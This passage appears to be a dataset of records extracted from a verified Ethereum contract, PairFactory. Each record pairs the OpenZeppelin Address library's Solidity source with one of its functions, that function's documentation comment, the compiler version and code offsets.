library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
sendValue
function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); }
/** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 1963, 2365 ] }
3,646
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
functionCall
function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); }
/** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 3121, 3299 ] }
3,647
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
functionCall
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 3524, 3724 ] }
3,648
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 4094, 4325 ] }
3,649
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); }
/** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 4576, 5111 ] }
3,650
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function 